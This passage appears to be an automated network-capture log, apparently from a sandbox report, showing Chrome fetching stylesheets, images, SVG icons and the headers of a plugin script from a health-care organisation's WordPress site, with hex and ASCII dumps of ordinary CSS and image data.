2024-04-24 12:44:18 UTC	608	OUT	GET /wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-91937 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:18 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:18 GMT Content-Type: text/css Content-Length: 4632 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:37 GMT Vary: Accept-Encoding ETag: "64f5a129-1218" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:18 UTC	4632	IN	Data Raw: 2e 61 63 66 2d 62 6c 6f 63 6b 2d 68 6f 6d 65 70 61 67 65 2d 68 65 72 6f 5f 5f 64 65 63 6f 72 7b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 35 2e 36 32 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 61 63 66 2d 62 6c 6f 63 6b 2d 68 6f 6d 65 70 61 67 65 2d 68 65 72 6f 5f 5f 64 65 63 6f 72 7b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 76 77 20 2b 20 35 72 65 6d 29 3b 72 69 67 68 74 3a 63 61 6c 63 28 35 30 25 20 2d 20 35 72 65 6d 29 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 31 30 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 Data Ascii: .acf-block-homepage-hero__decor{top:0;right:0;width:100vw;border-bottom-right-radius:5.625rem}@media (min-width:992px){.acf-block-homepage-hero__decor{width:calc(50vw + 5rem);right:calc(50% - 5rem);border-bottom-right-radius:10rem}}@media (min-width:1200p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49782	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:18 UTC	609	OUT	GET /wp-content/themes/vpchc/dist/acf_block_column_content.css?ver=230904-91936 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:18 UTC	413	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:18 GMT Content-Type: text/css Content-Length: 290 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT Vary: Accept-Encoding ETag: "64f5a128-122" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:18 UTC	290	IN	Data Raw: 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 20 2e 63 6f 6e 74 65 6e 74 5f 5f 69 63 6f 6e 7b 77 69 64 74 68 3a 34 2e 33 37 35 72 65 6d 3b 68 65 69 67 68 74 3a 34 2e 33 37 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 20 2e 63 2d 63 6f 6c 2d 31 2d 35 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 35 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 30 25 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 20 2e 63 2d 63 6f 6c 2d 31 2d 35 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d Data Ascii: .acf-block-column-content .content__icon{width:4.375rem;height:4.375rem}@media (min-width:768px){.acf-block-column-content .c-col-1-5{-webkit-box-flex:0;flex:0 0 50%;max-width:50%}}@media (min-width:992px){.acf-block-column-content .c-col-1-5{-webkit-box-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49786	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:19 UTC	390	OUT	GET /wp-content/uploads/2020/07/homepage-923x814.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:20 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:19 GMT Content-Type: image/jpeg Content-Length: 78254 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:40 GMT ETag: "64f5a12c-131ae" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:20 UTC	16057	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 03 2e 03 9b 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 07 08 ff c4 00 44 10 00 01 04 01 03 03 02 04 04 04 04 06 02 01 01 09 01 00 02 03 11 04 05 21 31 06 12 41 13 51 07 22 61 71 14 32 81 91 23 42 a1 b1 15 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$.D!1AQ"aq2#B
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 00 f5 13 fb 2f 8d cb 77 c9 74 eb c9 35 8c 8f a8 63 66 49 89 28 92 33 f7 1e eb 8d c7 73 b7 39 6c bb 8f 51 81 9f 16 7c 61 cc 34 e1 f9 9b ec bc d9 63 71 7a 70 ce 64 d2 54 69 15 44 41 11 44 2c d5 89 4a 2a 20 0b 42 a9 79 56 31 4a cd 92 8b db c2 95 56 78 59 68 92 70 ac 65 48 0b 48 3e 10 55 22 ac d6 69 97 4c 58 1c 7e 53 25 8d 83 85 c9 d0 06 e5 54 07 22 55 2f e1 58 cd 64 91 74 62 b1 c9 ca e9 1c ea 97 2d 46 14 9e 56 92 90 ad 91 5d 29 54 0a ca 17 ca 32 74 69 aa a9 79 5e b1 0a 50 56 56 20 5a 88 60 29 50 42 28 da cd 11 45 da 22 22 85 a2 10 74 f0 05 52 35 1d 01 b2 28 dd a2 88 36 80 85 28 2b 28 3d c8 0a 28 a2 22 08 8a 88 81 c9 40 51 a8 16 8a 97 65 00 03 64 4d 88 44 f6 9f 52 ac 58 52 b4 a8 82 20 20 d2 80 d8 2b 29 45 19 44 50 22 d1 13 81 ba 35 20 59 e5 58 40 f2 b4 a3 c8 Data Ascii: /wt5cfI(3s9lQ\|a4cqzpdTiDAD,J* ByV1JVxYhpeHH>U"iLX~S%T"U/Xdtb-FV])T2tiy^PVV Z`)PB(E""tR5(6(+(=("@QedMDRXR +)EDP"5 YX@
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: f7 1c 39 2f d3 f4 a0 6f 8f 0b 0e 36 ac 01 19 a3 48 88 05 20 21 16 0f 6d 6e a5 6a 18 9b 6a 8b b2 1e 56 a1 a5 79 51 fa 90 17 79 66 ff 00 a2 92 ea a5 ee 39 e0 ae 88 88 6d 0a 25 a4 71 55 05 a2 d0 31 50 25 aa 09 3b 20 03 74 16 b7 95 03 b4 59 41 63 41 d8 7e 8b 23 59 34 da 51 54 b8 5a 20 52 08 02 08 39 40 e3 65 af a1 7b 0a c5 6a 3d 6f 4d cf ea 60 96 13 f9 0d 2f 3f 2c ed ea e1 bd 69 d1 77 2b 9b 79 32 64 15 d2 46 2b 0c 8b a4 71 ac cf 3b ad b1 55 b9 69 85 4e 56 36 43 c2 50 85 46 68 b3 94 a4 58 ac 74 2d 85 a0 f6 bc cd 41 05 1a 44 10 a0 54 10 a8 02 85 02 56 a2 42 da d0 d5 a7 8b 91 67 25 9e de 92 0f fb 63 ec b8 57 78 65 15 10 10 40 1f 54 0a e9 83 06 e5 0d ab f5 83 fc da ba 4d a8 95 bd cf 05 56 1c 2e ae d7 71 fa 6f 4b 9f 3d dc 46 db ed 1c 92 b5 2e a6 eb 5c 7c 77 93 39 Data Ascii: 9/o6H !mnjjVyQyf9m%qU1P%; tYAcA~#Y4QTZ R9@e{j=oM`/?,iw+y2dF+q;UiNV6CPFhXt-ADTVBg%cWxe@TMV.qoK=F.\\|w9
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: f1 cb 4c e5 8e e3 e1 1f 16 7e 1c ca c3 2e af a7 c2 4b 5b bc d1 b4 70 3d c2 bc bc 73 39 e5 1e cf 87 f2 75 ff 00 6f 3f fd 3e 13 a9 e0 b5 c4 90 d5 e3 8f a3 94 71 1f 89 e9 ba da 68 ab b7 2d 37 61 66 d7 c8 ff 00 ea ad ed 65 5d 29 a7 77 35 46 b6 47 ca c7 8a 75 6e 89 6b 14 98 b0 93 dc 1c 02 ac 69 9a 68 5b c0 46 6c 56 09 88 53 4e ca fb 36 1d e7 b8 28 bb 6d 8e 50 f6 51 d8 a9 a6 fc 94 3e 27 5d d2 ac 83 71 0b cf 09 69 21 ce 3b 99 bf 62 8d 78 89 8f b8 51 6d 21 ad a8 7e 1d 1b 46 6e 20 18 41 aa d9 0d 2e 8e d8 77 3b 2a 35 42 e0 79 59 ae b8 bd 47 4b c8 19 90 08 34 57 9f 95 eb e2 d6 9f 47 d3 f3 9d 21 6b 48 fd 42 f1 d7 5b 1e a3 12 fd 31 6a 62 e5 5b 58 dd ac ad b9 5c 81 dc a3 50 a9 19 b4 6e 95 67 6b 1a 4a d4 8c da ee f4 ce 01 ce ce 05 c2 d8 cd ca f6 7c 7c 37 77 5e 4f 91 c9 Data Ascii: L~.K[p=s9uo?>qh-7afe])w5FGunkih[FlVSN6(mPQ>']qi!;bxQm!~Fn A.w;*5ByYGK4WG!kHB[1jb[X\PngkJ\|\|7w^O
2024-04-24 12:44:20 UTC	13045	IN	Data Raw: b6 81 49 b4 00 a0 08 a5 25 10 a4 a0 1f 54 00 9b 40 10 0b 41 d0 5c 1d 45 04 41 0a 00 82 14 2b 8d d4 98 a6 6c 27 38 0b a0 bb f1 5e df 3b e6 e1 bc 5f 36 ca 1d 92 1f 0b d6 fc fd ea 9a 2c 97 b1 a2 cd 84 d3 5e 77 ec 72 08 c9 8c d5 5a 46 72 72 0c af 85 fd 8e 1b 5a de 9c 37 7e 9d 3c 6c 80 e8 fb 6e c5 2c eb 4e be 5b 65 c2 6f 66 79 75 f2 56 72 fc b7 c5 7f 8e 9e 85 a6 d3 d3 a0 b9 bb 2a 2a ad d0 30 77 6e e8 86 fc 40 f6 40 4c f6 8a 42 f1 e4 a0 4b 08 85 35 68 94 a4 8b 55 12 d1 36 9d c4 a3 28 4a 05 bb 41 10 0f 28 0a 03 b0 08 21 28 20 28 25 ee 82 77 51 41 2e ca 08 79 5a 88 20 95 6a 0d ac c0 ae 5b 80 02 94 38 34 16 6a c4 b5 7e 90 69 40 0d 85 4a 50 56 99 30 72 8a 76 be 8a 58 4a 61 31 be 14 d2 f9 18 ca 0f 8b 53 46 c9 62 ec 6c 55 46 88 33 43 7e 47 9d 96 6c 75 99 fe 56 be 26 Data Ascii: I%T@A\EA+l'8^;_6,^wrZFrrZ7~<ln,N[eofyuVr**0wn@@LBK5hU6(JA(!( (%wQA.yZ j[84j~i@JPV0rvXJa1SFblUF3C~GluV&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49785	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:19 UTC	620	OUT	GET /wp-content/themes/vpchc/dist/acf_block_column_content_with_image.css?ver=230904-91936 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:19 UTC	343	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:19 GMT Content-Type: text/css Content-Length: 233 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT ETag: "64f5a128-e9" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:19 UTC	233	IN	Data Raw: 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 2d 77 69 74 68 2d 69 6d 61 67 65 5f 5f 64 65 63 6f 72 7b 77 69 64 74 68 3a 31 36 2e 35 72 65 6d 3b 68 65 69 67 68 74 3a 31 36 2e 35 72 65 6d 3b 72 69 67 68 74 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 38 2e 32 35 72 65 6d 29 3b 74 6f 70 3a 30 7d 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 2d 77 69 74 68 2d 69 6d 61 67 65 2d 2d 72 65 76 65 72 73 65 20 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 2d 77 69 74 68 2d 69 6d 61 67 65 5f 5f 64 65 63 6f 72 7b 72 69 67 68 74 3a 61 75 74 6f 3b 6c 65 66 74 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 38 2e 32 35 72 65 6d 29 7d Data Ascii: .acf-block-column-content-with-image__decor{width:16.5rem;height:16.5rem;right:calc(100% - 8.25rem);top:0}.acf-block-column-content-with-image--reverse .acf-block-column-content-with-image__decor{right:auto;left:calc(100% - 8.25rem)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49787	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:19 UTC	386	OUT	GET /wp-content/uploads/2020/07/icon_contact.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:19 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:19 GMT Content-Type: image/svg+xml Content-Length: 536 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:45 GMT Vary: Accept-Encoding ETag: "64f5a131-218" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:19 UTC	536	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 63 6c 61 73 73 3d 22 64 2d 62 6c 6f 63 6b 20 61 64 6a 75 73 74 61 62 6c 65 2d 65 6c 65 6d 65 6e 74 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 30 20 31 35 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 63 6f 6e 74 61 63 74 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 65 31 65 34 64 22 20 64 3d 22 4d 31 39 2e 30 32 31 37 20 30 2e 34 37 35 34 33 33 4c 30 2e 38 32 39 34 31 32 20 37 2e 30 34 39 36 38 43 30 2e 34 39 31 38 37 38 20 37 2e 31 37 32 34 32 20 30 2e 34 33 34 33 34 34 20 37 2e 36 32 35 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg class="d-block adjustable-element" viewBox="0 0 20 15" xmlns="http://www.w3.org/2000/svg"><title>Icon contact</title><path fill="#0e1e4d" d="M19.0217 0.475433L0.829412 7.04968C0.491878 7.17242 0.434344 7.6250

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49788	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:19 UTC	695	OUT	GET /wp-content/themes/vpchc/images/img__decor--dots.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/wp-content/themes/vpchc/dist/default_page.css?ver=230904-91952 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:20 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:19 GMT Content-Type: image/svg+xml Content-Length: 22315 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:35 GMT Vary: Accept-Encoding ETag: "64f5a127-572b" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:20 UTC	15963	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 33 22 20 68 65 69 67 68 74 3d 22 31 31 31 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 33 20 31 31 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 37 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 2e 34 30 32 31 37 20 31 2e 37 30 31 30 39 43 32 2e 34 30 32 31 37 20 32 2e 33 36 34 34 33 20 31 2e 38 36 34 34 33 20 32 2e 39 30 32 31 37 20 31 2e 32 30 31 30 39 20 32 2e 39 30 32 31 37 43 30 2e 35 33 37 37 34 35 20 32 2e 39 30 32 31 37 20 30 20 32 2e 33 36 34 34 33 20 Data Ascii: <svg width="123" height="111" viewBox="0 0 123 111" fill="none" xmlns="http://www.w3.org/2000/svg"><path opacity="0.7" fill-rule="evenodd" clip-rule="evenodd" d="M2.40217 1.70109C2.40217 2.36443 1.86443 2.90217 1.20109 2.90217C0.537745 2.90217 0 2.36443
2024-04-24 12:44:20 UTC	6352	IN	Data Raw: 35 20 31 34 2e 34 31 33 20 38 35 2e 37 37 37 32 43 31 34 2e 34 31 33 20 38 35 2e 31 31 33 38 20 31 33 2e 38 37 35 33 20 38 34 2e 35 37 36 31 20 31 33 2e 32 31 32 20 38 34 2e 35 37 36 31 43 31 32 2e 35 34 38 36 20 38 34 2e 35 37 36 31 20 31 32 2e 30 31 30 39 20 38 35 2e 31 31 33 38 20 31 32 2e 30 31 30 39 20 38 35 2e 37 37 37 32 43 31 32 2e 30 31 30 39 20 38 36 2e 34 34 30 35 20 31 32 2e 35 34 38 36 20 38 36 2e 39 37 38 33 20 31 33 2e 32 31 32 20 38 36 2e 39 37 38 33 5a 4d 32 36 2e 34 32 33 39 20 38 35 2e 37 37 37 32 43 32 36 2e 34 32 33 39 20 38 36 2e 34 34 30 35 20 32 35 2e 38 38 36 32 20 38 36 2e 39 37 38 33 20 32 35 2e 32 32 32 38 20 38 36 2e 39 37 38 33 43 32 34 2e 35 35 39 35 20 38 36 2e 39 37 38 33 20 32 34 2e 30 32 31 37 20 38 36 2e 34 34 30 35 20 Data Ascii: 5 14.413 85.7772C14.413 85.1138 13.8753 84.5761 13.212 84.5761C12.5486 84.5761 12.0109 85.1138 12.0109 85.7772C12.0109 86.4405 12.5486 86.9783 13.212 86.9783ZM26.4239 85.7772C26.4239 86.4405 25.8862 86.9783 25.2228 86.9783C24.5595 86.9783 24.0217 86.4405

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49792	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:19 UTC	610	OUT	GET /wp-content/themes/vpchc/dist/acf_block_suggested_posts.css?ver=230904-91942 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:19 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:19 GMT Content-Type: text/css Content-Length: 6684 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:42 GMT Vary: Accept-Encoding ETag: "64f5a12e-1a1c" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:19 UTC	6684	IN	Data Raw: 2e 62 6f 78 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 73 69 6e 67 6c 65 2d 70 6f 73 74 2d 70 72 65 76 69 65 77 5f 5f 69 6d 61 67 65 2d 77 72 61 70 70 65 72 2c 2e 62 6f 78 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 73 69 6e 67 6c 65 2d 76 69 64 65 6f 7b 66 6c 65 78 2d 62 61 73 69 73 3a 31 32 2e 31 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 62 6f 78 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 73 69 6e 67 6c 65 2d 70 6f 73 74 2d 70 72 65 76 69 65 77 5f 5f 69 6d 61 67 65 2d 77 72 61 70 70 65 72 2c 2e 62 6f 78 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 2e 73 69 6e 67 6c 65 2d 76 69 64 65 6f 7b 70 61 64 64 69 6e 67 3a 31 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 Data Ascii: .box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{flex-basis:12.125rem;padding:1rem!important}@media (min-width:576px){.box-horizontal .single-post-preview__image-wrapper,.box-horizontal .single-video{padding:1.25rem!import

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49794	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:19 UTC	388	OUT	GET /wp-content/themes/vpchc/images/img__empty.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:19 UTC	320	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:19 GMT Content-Type: image/png Content-Length: 82 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT ETag: "64f5a128-52" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:19 UTC	82	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 ff ff ff a7 c4 1b c8 00 00 00 0a 49 44 41 54 08 1d 63 60 00 00 00 02 00 01 cf c8 35 e5 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEIDATc`5IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49789	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:19 UTC	589	OUT	GET /wp-content/plugins/Valley-Pro-Calculator/public/js/main.js?ver=1.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:20 UTC	432	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:19 GMT Content-Type: application/javascript Content-Length: 249943 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 12 Mar 2024 05:43:45 GMT Vary: Accept-Encoding ETag: "65efeb91-3d057" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
